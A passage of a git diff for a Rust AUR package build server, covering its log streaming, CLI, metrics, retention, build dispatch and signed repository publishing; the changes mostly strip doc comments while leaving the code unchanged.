b/src/http/sse.rs index 561de33..e4a5e6a 100644 --- a/src/http/sse.rs +++ b/src/http/sse.rs @@ -4,10 +4,7 @@ use std::time::{Duration, Instant}; use crate::db::builds; -/// How long a tail will wait for a build that never finishes. A viewer that -/// outlives this gets a clean end and can reconnect. const MAX_LIFETIME: Duration = Duration::from_secs(30 * 60); -/// Silence between keepalives. Proxies drop idle streams well before this. const KEEPALIVE: Duration = Duration::from_secs(10); const POLL: Duration = Duration::from_millis(200); @@ -15,9 +12,7 @@ pub struct LogTail { path: PathBuf, build_id: String, db: crate::db::Db, - /// Bytes of the file already forwarded. offset: u64, - /// SSE frames waiting to be handed to the caller. out: std::collections::VecDeque<u8>, started: Instant, since_keepalive: Duration, @@ -41,21 +36,16 @@ impl LogTail { fn terminal(&self) -> bool { match builds::get(&self.db, &self.build_id) { Ok(Some(b)) => b.state.is_terminal(), - // A build row that vanished is not going to produce more output. Ok(None) => true, - // A database hiccup should not end the stream; the next poll tries - // again and the lifetime cap bounds the damage. Err(_) => false, } } - /// Pull whatever the build appended since the last poll and frame it as SSE. fn pump(&mut self) { let (bytes, grew) = read_from(&self.path, self.offset); if grew { self.offset += bytes.len() as u64; for line in String::from_utf8_lossy(&bytes).lines() { - // SSE: every line of payload needs its own `data:` prefix. self.out.extend(format!("data: {line}\n\n").as_bytes()); } self.since_keepalive = Duration::ZERO; @@ -111,7 +101,6 @@ impl Read for LogTail { } } -/// Read `path` from `offset`. Returns the bytes and whether the file grew. fn read_from(path: &Path, offset: u64) -> (Vec<u8>, bool) { let mut f = match std::fs::File::open(path) { Ok(f) => f, @@ -129,7 +118,6 @@ fn read_from(path: &Path, offset: u64) -> (Vec<u8>, bool) { (buf, grew) } -/// A file served as-is, for static assets. pub struct FileBody { inner: std::io::Cursor<Vec<u8>>, } @@ -12,10 +12,6 @@ pub mod pkgver; pub mod recipe; pub mod review; pub mod sandbox; -/// The §16a fake toolchain: stand-ins for `makepkg`, `mkarchroot`, `gpg`, -/// `repo-add` and `pacman`, so the whole step machine runs without root, network -/// or an Arch chroot. Compiled out of a production build (§6 M-4): a binary an -/// operator runs cannot fake a build tool it cannot see. #[cfg(feature = "test-support")] pub mod shims; pub mod time; diff --git a/src/main.rs b/src/main.rs index edfcd44..1686680 100644 --- a/src/main.rs +++ b/src/main.rs @@ -10,7 +10,6 @@ use aur_build::review::{approve as ap, candidates, diff}; #[derive(Parser)] #[command(name = "aur-build", version, about = "AUR build server: nothing is published that a human did not approve")] struct Cli { - /// Server root (holds config.json, db, mirrors, repo). #[arg(short, long, env = "AUR_BUILD_ROOT", global = true)] root: Option<PathBuf>, #[command(subcommand)] @@ -19,101 +18,68 @@ struct Cli { #[derive(Subcommand)] enum Cmd { - /// Create the root, config and database. Init { #[arg(long)] repo: Option<String>, #[arg(long)] signing_key: Option<String>, }, - /// Start watching a pkgbase. Subscribe { pkgbase: String, - /// Override the AUR URL; a `file://` path is fine, which is how the - /// test suite drives the real binary. #[arg(long)] url: Option<String>, }, - /// Stop watching a pkgbase. Unsubscribe { pkgbase: String }, - /// Poll AUR now (without this, detection runs on the watcher's schedule). Detect { pkgbase: Option<String> }, - /// List reviews. Reviews { #[arg(long)] all: bool, }, - /// Show one review: the diff panels and the two hashes an approval must echo. Show { candidate: i64 }, - /// Approve a review. Without --yes this only prints what would be approved. Approve { candidate: i64, #[arg(long)] yes: bool, #[arg(long)] note: Option<String>, - /// Approve against hashes you were shown earlier instead of re-rendering. #[arg(long)] identity: Option<String>, #[arg(long)] diff: Option<String>, }, - /// Reject a review with a reason. Reject { candidate: i64, #[arg(long)] note: String, }, - /// Queue a build for a pending review. Build { candidate: i64 }, - /// Queue a rebuild of the currently accepted version (no new approval, I6). Rebuild { pkgbase: String }, - /// Run a queued build to completion in this process. Run { build: String }, - /// List builds. Builds, - /// Show a build's step timeline. Status { build: String }, - /// Show the current index. Packages, - /// Run the web server and the watcher until interrupted. Serve { - /// Override the bind address, e.g. 127.0.0.1:8484. #[arg(long)] bind: Option<String>, }, - /// Show recent audit rows. Audit { #[arg(long, default_value_t = 30)] limit: i64, }, - /// Print metrics in Prometheus text format (the same numbers /metrics serves). Metrics, - /// Drop the files of releases beyond the retention window, and sweep - /// abandoned staging directories. Rows are never deleted (§15). Gc { - /// Versions per pkgbase whose files are kept. Defaults to the - /// `retention_versions` setting. #[arg(long)] keep: Option<usize>, - /// Show what would be removed without removing it. #[arg(long)] dry_run: bool, }, - /// Write a consistent snapshot of the database with `VACUUM INTO`. Backup { - /// Destination file. It must not already exist: a backup that silently - /// overwrites last week's backup is not a backup. to: PathBuf, }, } fn main() -> anyhow::Result<()> { let cli = Cli::parse(); - // `init` is the only command that runs before a config exists. For everything - // else a missing config is an error, not a reason to invent one: the old - // unconditional fallback turned a typo'd `--root` into a fresh empty server - // at the wrong path. let root = cli.root.clone().unwrap_or_else(|| Config::default().root); let cfg = if matches!(cli.cmd, Cmd::Init { .. }) { Config::load(&root).unwrap_or_else(|_| Config { @@ -123,8 +89,6 @@ fn main() -> anyhow::Result<()> { } else { Config::load(&root)? }; - // Startup, not first-build: a configuration that cannot work is refused - // before the watcher, the dispatcher or the UI are up and looking healthy. cfg.validate()?; if let Cmd::Serve { bind } = &cli.cmd { let mut cfg = cfg; @@ -141,25 +105,18 @@ fn main() -> anyhow::Result<()> { &cfg.arch, &cfg.signing_key_id, )?; - // Re-materialize the served index from the DB: if a crash left the file - // behind the database, close the gap before anyone asks for it. let _ = pipeline::publish::reconcile(&cfg, &db); let stop = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)); aur_build::watch::scheduler::spawn_scheduler(std::sync::Arc::new(cfg.clone()), db.clone(), stop.clone()); let _server = aur_build::http::spawn(cfg.clone(), db.clone())?; - // The dispatcher reaps expired leases before its first claim, so a restart - // recovers whatever a crash left leased (§8.2). let _pool = aur_build::pipeline::dispatch::Pool::spawn(std::sync::Arc::new(cfg.clone()), db.clone()); println!("serving on http://{} — ctrl-c to stop", cfg.bind); - // Single process, thread per connection: the main thread has nothing to - // do but wait to be killed. loop { std::thread::sleep(std::time::Duration::from_secs(3600)); } } let ctx = Ctx::open(&cfg)?; match cli.cmd { - // Handled above, before the CLI's own database context is opened. Cmd::Serve { .. } => Ok(()), Cmd::Init { repo, signing_key } => { let mut cfg = cfg; @@ -249,8 +206,6 @@ fn main() -> anyhow::Result<()> { } Cmd::Approve { candidate, yes, note, identity, diff: diff_arg } => { let c = need_candidate(&ctx.db, candidate)?; - // Render first, always: the hashes we send are the hashes of what we - // just rendered, unless the operator explicitly names older ones. let (text, digest) = diff::render_current(&ctx.db, &cfg, &c)?; candidates::set_diff_digest(&ctx.db, c.id, &digest)?; let identity = identity.unwrap_or_else(|| c.identity_hash.clone()); @@ -5,7 +5,6 @@ use crate::db::{self, Db}; use crate::error::Result; use crate::time; -/// Default number of versions kept per pkgbase (§11 `retention_versions`). pub const DEFAULT_KEEP: usize = 3; #[derive(Debug, Default, Clone)] @@ -17,17 +16,12 @@ pub struct RetentionReport { pub staging_swept: usize, } -/// Everything a metrics scrape reports, computed in one pass over the database. -/// -/// Kept as a struct rather than a string builder so the HTTP handler, the CLI and -/// the tests read the same numbers from the same source. #[derive(Debug, Default, Clone)] pub struct Metrics { pub builds: Vec<(String, i64)>, pub queue_depth: i64, pub oldest_queued_age_secs: i64, pub pending_review: i64, - /// Age of pending candidates in seconds, already sorted, for bucketing. pub review_ages: Vec<i64>, pub succeeded: i64, pub failed: i64, @@ -49,9 +43,6 @@ pub struct Metrics { } impl Metrics { - /// Share of recorded builds that published. Reported as 1.0 when nothing has - /// run yet: an alert rule reading 0% success on an empty system pages someone - /// for no reason. pub fn build_success_rate(&self) -> f64 { match self.succeeded + self.failed { 0 => 1.0, @@ -59,9 +50,6 @@ impl Metrics { } } - /// Render in Prometheus text exposition format. Every family is declared with - /// `# HELP` and `# TYPE`, because a scrape that fails validation drops the - /// whole payload. pub fn to_prometheus(&self) -> String { let mut o = String::new(); @@ -79,7 +67,6 @@ impl Metrics { o.push_str(&header("aurbuild_pending_review_candidates", "Reviews waiting on a human — the review debt.")); o.push_str(&format!("aurbuild_pending_review_candidates {}\n", self.pending_review)); - // Not how many reviews are pending, but how stale the pending ones are. o.push_str("# HELP aurbuild_pending_review_age_seconds Histogram of how long pending reviews have waited.\n# TYPE aurbuild_pending_review_age_seconds histogram\n"); for le in [3600i64, 21600, 86400, 259200, 604800] { let n = self.review_ages.iter().filter(|a| **a <= le).count(); @@ -152,7 +139,6 @@ impl Metrics { } } -/// Compute every metric from live state. pub fn metrics(cfg: &Config, db: &Db) -> Result<Metrics> { let mut m = Metrics::default(); let now = time::now(); @@ -195,7 +181,6 @@ pub fn metrics(cfg: &Config, db: &Db) -> Result<Metrics> { Ok(m) } -/// A Prometheus family header. fn header(name: &str, help: &str) -> String { format!("# HELP {name} {help}\n# TYPE {name} gauge\n") } @@ -204,7 +189,6 @@ fn file_len(p: &Path) -> u64 { std::fs::metadata(p).map(|m| m.len()).unwrap_or(0) } -/// `(dir count, total bytes)` under a directory, tolerating concurrent removal. fn staging_usage(root: &Path) -> (usize, u64) { let mut dirs = 0; let mut bytes = 0; @@ -232,9 +216,6 @@ fn dir_bytes(path: &Path) -> u64 { total } -/// Which releases of a pkgbase keep their files, and which lose them. -/// -/// The rule is "newest N, plus anything that would be a lie to evict". pub fn plan_retention(db: &Db, keep: usize) -> Result<(Vec<i64>, Vec<EvictPlan>)> { let keep = keep.max(1); let pkgbases = db::pkgbase_release_pointers(db)?; @@ -243,7 +224,6 @@ pub fn plan_retention(db: &Db, keep: usize) -> Result<(Vec<i64>, Vec<EvictPlan>) let mut evict = Vec::new(); for (pb_id, accepted) in pkgbases { let releases = db::published_release_ids(db, pb_id)?; - // Still in the index? Then it is being served, whatever its age. let serving = db::serving_release_ids(db, pb_id)?; let mut keep_set: std::collections::BTreeSet<i64> = serving.iter().cloned().collect(); @@ -269,16 +249,10 @@ pub struct EvictPlan { pub release_id: i64, } -/// Run retention: evict files for releases beyond the keep window, then sweep -/// abandoned staging directories. -/// -/// Files are only removed when no *retained* release still references them: the store -/// is content-addressed. pub fn retention(cfg: &Config, db: &Db, keep: Option<usize>) -> Result<RetentionReport> { let keep = keep.unwrap_or_else(|| db::setting_i64(db, "retention_versions", DEFAULT_KEEP as i64) as usize); let (kept, evict) = plan_retention(db, keep)?; - // Everything still held by a kept release, so we do not evict a shared file. let mut retained_files: std::collections::BTreeSet<PathBuf> = std::collections::BTreeSet::new(); for id in &kept { for f in release_files(cfg, db, *id)? { @@ -297,7 +271,6 @@ pub fn retention(cfg: &Config, db: &Db, keep: Option<usize>) -> Result<Retention } if let Ok(m) = std::fs::metadata(f) { freed += m.len(); - // A missing file is the state we are trying to reach, not an error. let _ = std::fs::remove_file(f); removed += 1; } @@ -334,15 +307,8 @@ pub fn retention(cfg: &Config, db: &Db, keep: Option<usize>) -> Result<Retention Ok(report) } -/// Grace period before an abandoned staging dir is swept. Anything younger could -/// belong to a build that is still running right now. pub const STAGING_GRACE_SECS: i64 = 3600; -/// The files a release holds on disk: package, signature, build log, and the cached -/// sources it was built from. -/// -/// Returned as a unit because that is how they must be treated: keeping one and -/// dropping the others is how a store ends up full of orphans. pub fn release_files(cfg: &Config, db: &Db, release_id: i64) -> Result<Vec<PathBuf>> { let mut out = Vec::new(); for (path, sig, log) in db::release_artifact_paths(db, release_id)? { @@ -350,8 +316,6 @@ pub fn release_files(cfg: &Config, db: &Db, release_id: i64) -> Result<Vec<PathB out.push(PathBuf::from(p)); } } - // Cached sources, by content digest (§5.1a: these are what make an old - // release rebuildable). let digests = db::release_by_id(db, release_id)? .map(|r| r.source_digests_json) .unwrap_or_else(|| "[]".into()); @@ -365,10 +329,6 @@ pub fn release_files(cfg: &Config, db: &Db, release_id: i64) -> Result<Vec<PathB Ok(out) } -/// Remove staging directories whose build is finished or unknown (§8.2). -/// -/// "Abandoned" is derived, not guessed: a dir is swept when its build row is terminal -/// or absent and the dir is older than the grace period. pub fn sweep_staging(cfg: &Config, db: &Db, grace_secs: i64) -> Result<(usize, u64)> { let root = cfg.staging_dir(); let Ok(entries) = std::fs::read_dir(&root) else { return Ok((0, 0)) }; @@ -385,8 +345,6 @@ pub fn sweep_staging(cfg: &Config, db: &Db, grace_secs: i64) -> Result<(usize, u }; let state = db::builds::get(db, &build_id)?.map(|b| b.state); let abandonable = match &state { - // No build row: staging left over from a crash before the row was - // written. None => true, Some(s) => matches!(s.as_str(), "succeeded" | "failed" | "cancelled"), }; @@ -426,11 +384,6 @@ fn record_run(db: &Db, r: &RetentionReport) -> Result<()> { ) } -/// A consistent snapshot of the database, written to `dest`. -/// -/// `VACUUM INTO` runs on the writer connection so the snapshot cannot interleave with -/// a write, and produces a compacted single file with no WAL. A `cp` of a live WAL -/// database gives a main file and a sidecar log that may not belong to it. pub fn backup(db: &Db, dest: &Path) -> Result<PathBuf> { let dest = dest.to_path_buf(); if dest.exists() { @@ -445,8 +398,6 @@ pub fn backup(db: &Db, dest: &Path) -> Result<PathBuf> { } } db::backup_to(&db.writer, &dest)?; - // The snapshot must be readable on its own: if it does not open and report - // the same schema version, the backup is a file, not a backup. let version = db::schema_version(&dest) .map_err(|e| crate::error::Error::db(format!("backup unreadable: {e}")))?; if version <= 0 { diff --git a/src/pipeline/dispatch.rs b/src/pipeline/dispatch.rs index d9891c2..88f300e 100644 --- a/src/pipeline/dispatch.rs +++ b/src/pipeline/dispatch.rs @@ -8,21 +8,15 @@ use crate::config::Config; use crate::db::{self, builds, Db}; use crate::pipeline::{self, Outcome}; -/// Handle on a running pool. Dropping without `shutdown` leaves the threads -/// running; call `shutdown` to join them cleanly. pub struct Pool { stop: Arc<AtomicBool>, handles: Vec<JoinHandle<()>>, } impl Pool { - /// Start the dispatcher and `max_concurrent_builds` workers. pub fn spawn(cfg: Arc<Config>, db: Db) -> Pool { let stop = Arc::new(AtomicBool::new(false)); let workers = cfg.max_concurrent_builds.max(1); - // Bounded at the worker count: the dispatcher must not run ahead and - // lease builds that no worker has picked up yet, because a leased build - // whose worker never starts would sit until its lease expires. let (tx, rx) = bounded::<String>(workers); let mut handles = Vec::new(); @@ -53,9 +47,6 @@ impl Pool { Pool { stop, handles } } - /// Ask the threads to stop and wait for them. A build that is mid-step will - /// finish that step, fail its lease, and be requeued by the next process's - /// reaper — which is the designed behaviour, not a bug to wait out. pub fn shutdown(self) { self.stop.store(true, Ordering::SeqCst); for h in self.handles { @@ -65,8 +56,6 @@ impl Pool { } fn dispatcher(cfg: Arc<Config>, db: Db, stop: Arc<AtomicBool>, tx: Sender<String>) { - // The reaper runs first on every loop, including the first, so "recover from - // a crash" and "notice an expired lease" are the same code path. while !stop.load(Ordering::SeqCst) { dispatch_once(&cfg, &db, &tx); let mut slept = 0u64; @@ -77,8 +66,6 @@ fn dispatcher(cfg: Arc<Config>, db: Db, stop: Arc<AtomicBool>, tx: Sender<String } } -/// One dispatcher pass. Returns the ids handed to workers. Public so a test can -/// drive one pass deterministically instead of racing a thread. pub fn dispatch_once(cfg: &Config, db: &Db, tx: &Sender<String>) -> Vec<String> { let reaped = builds::reap_expired(db).unwrap_or(0); if reaped > 0 { @@ -91,7 +78,6 @@ pub fn dispatch_once(cfg: &Config, db: &Db, tx: &Sender<String>) -> Vec<String> ) .ok(); } - // Blocked builds become eligible again when the blocking package arrives. let _ = builds::requeue_blocked(db); let _ = builds::cancel_superseded(db); @@ -103,17 +89,12 @@ pub fn dispatch_once(cfg: &Config, db: &Db, tx: &Sender<String>) -> Vec<String> let ids = builds::claim_batch(db, &owner, room, cfg.lease_secs).unwrap_or_default(); for id in &ids { if tx.send(id.clone()).is_err() { - // No worker to take it: give the lease back rather than let it - // expire with nobody holding it. let _ = builds::requeue_transient(db, id); } } ids } -/// How many builds may be admitted right now (§8.2 backpressure). A build that -/// cannot fit on disk stays queued rather than filling the filesystem halfway -/// through a compile. pub fn admissible(cfg: &Config, db: &Db) -> usize { let in_flight = builds::in_flight(db).unwrap_or(0) as usize; let slots = cfg.max_concurrent_builds.saturating_sub(in_flight); @@ -127,7 +108,6 @@ pub fn admissible(cfg: &Config, db: &Db) -> usize { slots } -/// Megabytes free on the filesystem holding `path`. pub fn free_disk_mb(path: &std::path::Path) -> u64 { use std::ffi::CString; let c = match CString::new(path.as_os_str().to_string_lossy().as_bytes()) { @@ -137,8 +117,6 @@ pub fn free_disk_mb(path: &std::path::Path) -> u64 { let mut stat: libc::statvfs = unsafe { std::mem::zeroed() }; let rc = unsafe { libc::statvfs(c.as_ptr(), &mut stat) }; if rc != 0 { - // If we cannot find out, do not block the queue over a measurement - // problem; the pipeline's own disk guard is the backstop. return u64::MAX; } let bsize = stat.f_frsize as u64; @@ -155,9 +133,6 @@ fn worker(cfg: Arc<Config>, db: Db, rx: crossbeam_channel::Receiver<String>, sto let attempt = builds::get(&db, &id).ok().flatten().map(|b| b.attempt).unwrap_or(1); match pipeline::run(&cfg, &db, &id) { Ok(Outcome::Failed { transient, .. }) => { - // §8.4: transient failures retry with a bounded number of - // attempts; a deterministic failure does not, because it would - // produce the same answer. if transient && attempt < cfg.max_transient_attempts { let _ = builds::requeue_transient(&db, &id); db::audit_system( diff --git a/src/pipeline/mod.rs b/src/pipeline/mod.rs index 308f2a8..9e3c12a 100644 --- a/src/pipeline/mod.rs +++ b/src/pipeline/mod.rs @@ -13,11 +13,6 @@ use crate::db::SnapshotRow; use crate::error::{Error, Result}; use crate::sandbox::{Sandbox, SandboxBackend}; -/// The approved source identity a build must reproduce. -/// -/// For a new version it comes from the candidate; for a manual rebuild it comes -/// from the accepted release, which is what makes I6 true: a rebuild reuses the -/// approved source identity and never needs a new approval. #[derive(Debug, Clone)] pub struct SourceIdentity { pub aur_commit: String, @@ -30,10 +25,6 @@ pub struct SourceIdentity { } impl SourceIdentity { - /// The identity of a build's source, complete on construction (n-1). The - /// snapshot is an argument because an `aur_commit` that could mean either - /// "not filled in yet" or "genuinely unknown" records empty provenance - /// silently. pub fn from_candidate(c: &CandidateRow, snapshot: &SnapshotRow) -> Self { Self { aur_commit: snapshot.aur_commit.clone(), @@ -61,13 +52,11 @@ impl SourceIdentity { } } -/// One package produced by the build, as recorded by `collect` and `ingest`. #[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] pub struct CollectedPkg { pub name: String, pub version: String, pub arch: String, - /// Where the artifact lives: staging until `ingest`, the store afterwards. pub path: String, pub digest: String, pub size: u64, @@ -76,7 +65,6 @@ pub struct CollectedPkg { pub makedepends: Vec<String>, pub provides: Vec<String>, pub conflicts: Vec<String>, - /// The full installed set from `.BUILDINFO`, unfiltered (§10.1). pub installed: Vec<(String, String)>, } @@ -98,7 +86,6 @@ impl Collect { } } -/// Everything a step needs. Built once per build run, cheap to clone handles. pub struct Ctx { pub cfg: Config, pub db: Db, @@ -111,8 +98,6 @@ pub struct Ctx { pub log: PathBuf, pub profile: String, pub attempt: i64, - /// Where build code runs. Defaults to the loopback backend (§8, sandbox - /// seam); the pipeline itself never spawns a build subprocess directly. pub backend: Arc<dyn SandboxBackend>, } @@ -126,9 +111,6 @@ impl Ctx { Some(cid) => { let c = crate::review::candidates::candidate_by_id(db, cid)? .ok_or_else(|| Error::not_found("candidate for build"))?; - // A candidate without its snapshot is a broken row, not a - // candidate with less provenance: say so rather than build - // against an empty commit and hash. let snap = db::snapshot_by_id(db, c.snapshot_id)? .ok_or_else(|| Error::not_found("snapshot for candidate"))?; SourceIdentity::from_candidate(&c, &snap) @@ -163,9 +145,6 @@ impl Ctx { }) } - /// Lease a sandbox for this build's profile. The TTL is the lease window: a - /// sandbox that outlives it is assumed dead, which is what the reaper already - /// concludes about an expired build lease. pub fn sandbox(&self) -> Result<Arc<dyn Sandbox>> { let spec = crate::sandbox::SandboxSpec { profile: self.profile.clone(), @@ -176,7 +155,6 @@ impl Ctx { self.backend.acquire(&spec) } - /// Append to the build log; the SSE tail reads this file (§12). pub fn log_line(&self, line: &str) { use std::io::Write; if let Some(parent) = self.log.parent() { @@ -188,7 +166,6 @@ impl Ctx { } } -/// What a full run produced. #[derive(Debug, Clone, PartialEq, Eq)] pub enum Outcome { Succeeded { release_id: i64 }, @@ -197,7 +174,6 @@ pub enum Outcome { Cancelled, } -/// Run a build to completion, resuming at the first incomplete step (I5). pub fn run(cfg: &Config, db: &Db, build_id: &str) -> Result<Outcome> { let ctx = Ctx::new(cfg, db, build_id)?; db::audit_system( @@ -219,7 +195,7 @@ pub fn run_with(ctx: &Ctx) -> Result<Outcome> { } let status = builds::step_status(&ctx.db, &ctx.build.id, step)?; if status.is_some_and(|s| s.is_done()) { - continue; // checkpoint says we already did this + continue; } builds::begin_step(&ctx.db, &ctx.build.id, step, ctx.attempt)?; builds::set_state(&ctx.db, &ctx.build.id, BuildState::Running, None)?; @@ -249,10 +225,6 @@ pub fn run_with(ctx: &Ctx) -> Result<Outcome> { Some(&format!("{step}: {e}")), )?; ctx.log_line(&format!("!! {step} failed: {e}")); - // A failed build must not leave the old version looking healthy. - // Nothing has to do that: the accepted pointer was never moved, - // so the derived query reads it back (§8.4). There is - // deliberately no state to set here. return Ok(Outcome::Failed { step: step.to_string(), error: e.to_string(), transient }); } } @@ -277,8 +249,6 @@ impl Ctx { } } -/// Enqueue the build an approval implies. Deterministic id, so calling this -/// twice is a no-op (§8.2). pub fn enqueue_for_candidate(cfg: &Config, db: &Db, c: &CandidateRow) -> Result<String> { let pb = db::get_pkgbase_by_id(db, c.pkgbase_id)? .ok_or_else(|| Error::not_found("pkgbase"))?; @@ -290,18 +260,11 @@ pub fn enqueue_for_candidate(cfg: &Config, db: &Db, c: &CandidateRow) -> Result< Ok(id) } -/// Manual rebuild of the current accepted version (I6): same source identity, -/// no new approval, same version. pub fn enqueue_manual_rebuild(cfg: &Config, db: &Db, pkgbase: &str) -> Result<String> { let pb = db::get_pkgbase(db, pkgbase)? .ok_or_else(|| Error::not_found(format!("pkgbase {pkgbase}")))?; let rel = db::accepted_release(db, pkgbase)? .ok_or_else(|| Error::invalid(format!("{pkgbase} has no accepted release")))?; - // A manual rebuild is the accepted release asked for again, so its identity - // is derived from what that release actually is, through the same - // canonical-JSON hash every other identity uses (n-5). `requested` is what - // keeps a rebuild a *distinct* build while staying deterministic (§8.2): - // clicking rebuild twice is one build, not two. let identity = format!( "sha256:{}", crate::hash::hex(crate::hash::canonical_json(&serde_json::json!({ @@ -323,10 +286,8 @@ pub fn enqueue_manual_rebuild(cfg: &Config, db: &Db, pkgbase: &str) -> Result<St Ok(id) } -/// What one step produced. pub enum StepResult { Done(Option<String>), Skipped(String), - /// A dependency we publish is not in the index yet (§10.4). Blocked(Vec<String>), } diff --git a/src/pipeline/publish.rs b/src/pipeline/publish.rs index 7340e53..dc9f918 100644 --- a/src/pipeline/publish.rs +++ b/src/pipeline/publish.rs @@ -9,15 +9,6 @@ use crate::error::{Error, Result}; use crate::pipeline::{Collect, Ctx}; use crate::time; -/// One writer to the served repo at a time — *the* serialization guarantee for -/// the index (§8.2, §9, I4). A publish renders a new database in scratch space, -/// commits the DB, then renames over the live one; a second writer interleaving -/// anywhere in that sequence produces an index matching neither DB state. Held by -/// [`publish`] and [`withdraw_package`] for the whole sequence; [`reconcile`] skips -/// it because it runs before the dispatcher exists. -/// -/// A panic while holding it is recovered rather than propagated: atomic publish -/// means a poisoned lock cannot have left a half-written database. static REPO_LOCK: Mutex<()> = Mutex::new(()); fn lock_repo() -> std::sync::MutexGuard<'static, ()> { @@ -27,7 +18,6 @@ fn lock_repo() -> std::sync::MutexGuard<'static, ()> { } } -/// The world a build is admitted against: every pkgbase's accepted version. pub fn index_world(db: &Db) -> Result<Vec<WorldMember>> { let rels = db::all_published_releases(db)?; let mut out = Vec::new(); @@ -40,8 +30,6 @@ pub fn index_world(db: &Db) -> Result<Vec<WorldMember>> { Ok(out) } -/// Package files that belong in the served index right now, plus the extra ones -/// being published (not in the DB yet when the new index is rendered). fn index_artifacts(db: &Db, extra: &[PathBuf]) -> Result<Vec<PathBuf>> { let mut out: Vec<PathBuf> = Vec::new(); for p in db::index_packages(db)? { @@ -55,9 +43,6 @@ fn index_artifacts(db: &Db, extra: &[PathBuf]) -> Result<Vec<PathBuf>> { Ok(out) } -/// Publish the collected artifacts of a build. Returns the new release id. -/// -/// Serialized against every other writer of the index by [`REPO_LOCK`]. pub fn publish(ctx: &Ctx) -> Result<i64> { let _guard = lock_repo(); let collect = Collect::load(&ctx.collect_path)?; @@ -68,13 +53,8 @@ pub fn publish(ctx: &Ctx) -> Result<i64> { let arch_dir = ctx.cfg.repo_arch_dir(); std::fs::create_dir_all(&arch_dir)?; - // Artifacts are copied into the served tree under their real filenames. let mut staged: Vec<(PathBuf, PathBuf)> = Vec::new(); - // Set once the render starts, so the failure path can sweep the scratch - // directory even if the publish died after repo-add returned. let mut scratch_dir: Option<PathBuf> = None; - // Files this publish created that were not there before: if the publish does - // not land they are orphans no index names (§6 m-16). let mut fresh: Vec<PathBuf> = Vec::new(); for p in &collect.packages { let from = PathBuf::from(&p.path); @@ -106,7 +86,6 @@ pub fn publish(ctx: &Ctx) -> Result<i64> { pkgs = dedupe_by_name(pkgs); let rendered = render_db(&ctx.cfg, &arch_dir, "publish", &pkgs, &mut scratch_dir)?; - // Fault injection so I4 can be tested for real (§6 M-9). #[cfg(feature = "test-support")] if ctx.cfg.hooks.publish_fault.as_deref() == Some("before-rename") { return Err(Error::other("injected fault: before-rename")); @@ -141,8 +120,6 @@ pub fn publish(ctx: &Ctx) -> Result<i64> { })(); if outcome.is_err() { - // Nothing in the served tree may look like a publish that did not land - // (m-16); files already there belong to the release still served. for p in &fresh { let _ = std::fs::remove_file(p); } @@ -158,7 +135,6 @@ fn repo_for(db: &Db) -> Result<String> { Ok(id.to_string()) } -/// Insert the release and its package rows, and move the accepted pointer. fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> { let at = time::now(); let pkgbase_id = ctx.pb.id; @@ -167,8 +143,6 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> { Some(cid) => crate::review::approve::approval_for(&ctx.db, cid)?.map(|(id, _)| id), None => None, }; - // I1: nothing publishes without an approval. A manual rebuild inherits the - // approval of the release it rebuilds. let inherited = match ctx.build.kind.as_str() { "manual_rebuild" => ctx .build @@ -193,8 +167,6 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> { .flatten() .and_then(|b| b.world_snapshot_id); let repo_id = db::repo_id(&ctx.db)?; - // The compare-and-swap baseline is the release the *approval* was taken - // against, not whatever the pointer says now. let expected_base: Option<i64> = match ctx.build.kind.as_str() { "manual_rebuild" => ctx.build.release_id, _ => ctx @@ -205,15 +177,12 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> { }; ctx.db.writer.tx(move |tx| { - // Compare-and-swap inside the write transaction (I4). let actual_base = db::accepted_pointer_in(tx, pkgbase_id)?; if actual_base != expected_base { return Err(Error::conflict( "accepted pointer moved while this build was running; refusing to publish", )); } - // The index holds exactly the accepted pointer, so what it held for these - // names goes before the new rows go in. db::remove_index_packages_in(tx, &names)?; let release_id = db::insert_release_in( tx, @@ -249,8 +218,6 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> { }) } -/// Remove scratch directories a crash left behind: the leading dot means nothing -/// a consumer asks for, and only a render creates one. pub fn sweep_render_dirs(arch_dir: &Path) { let Ok(entries) = std::fs::read_dir(arch_dir) else { return; @@ -262,7 +229,6 @@ pub fn sweep_render_dirs(arch_dir: &Path) { } } -/// A database repo-add has rendered, and the scratch directory it rendered into. struct Rendered { db: PathBuf, dir: PathBuf, @@ -270,8 +236,6 @@ struct Rendered { } impl Rendered { - /// The publish point: rename over the live database, fsync the directory - /// entry, then drop the scratch directory. fn swap_into(self, final_db: &Path) -> Result<()> { std::fs::rename(&self.db, final_db)?; fsync_dir(&self.arch_dir)?; @@ -280,15 +244,6 @@ impl Rendered { } } -/// Render a fresh database with repo-add, ready to be renamed into place. -/// -/// repo-add refuses any database argument that is not a name pacman itself would -/// accept, so the render happens in a scratch directory *under* the served -/// directory, under the exact name a consumer will download. Same filesystem, so -/// the caller's `rename` is still the atomic swap I4 requires. -/// -/// `scratch` is filled in as soon as the directory exists, so the caller can sweep -/// it even if this function is never reached again. fn render_db( cfg: &Config, arch_dir: &Path, @@ -316,8 +271,6 @@ fn render_db( Ok(rendered) } -/// `repo-add -R <db> <pkgs...>`, deliberately *not* `-s`: repo-add would sign into -/// scratch space that gets deleted. The hub signs the live file itself in [`sign`]. fn run_repo_add(cfg: &Config, db_path: &Path, pkgs: &[PathBuf]) -> Result<()> { let mut cmd = Command::new(&cfg.repo_add_bin); cmd.arg("-R"); @@ -344,8 +297,6 @@ fn sign(cfg: &Config, path: &Path) -> Result<()> { sign_to(cfg, path, Path::new(&sig)) } -/// `gpg --detach-sign` over `path`, written to `sig_out` atomically. The key never -/// leaves the hub — a build sandbox signs nothing (§8). pub(crate) fn sign_to(cfg: &Config, path: &Path, sig_out: &Path) -> Result<()> { if cfg.signing_key_id.is_empty() { return Ok(()); @@ -368,8 +319,6 @@ pub(crate) fn sign_to(cfg: &Config, path: &Path, sig_out: &Path) -> Result<()> { Ok(()) } -/// fsync, and *say so* when it fails (m-7). Swallowing the error would make the -/// write-scratch-fsync-rename promise a comment rather than a guarantee. fn fsync_file(p: &Path) -> Result<()> { let f = std::fs::File::open(p) .map_err(|e| Error::other(format!("open {} for fsync: {e}", p.display())))?; @@ -386,9 +335,6 @@ fn fsync_dir(p: &Path) -> Result<()> { Ok(()) } - -/// Keep one entry per package name; the newest file wins. The name comes from -/// `.PKGINFO`, not the filename, because package names contain dashes. fn 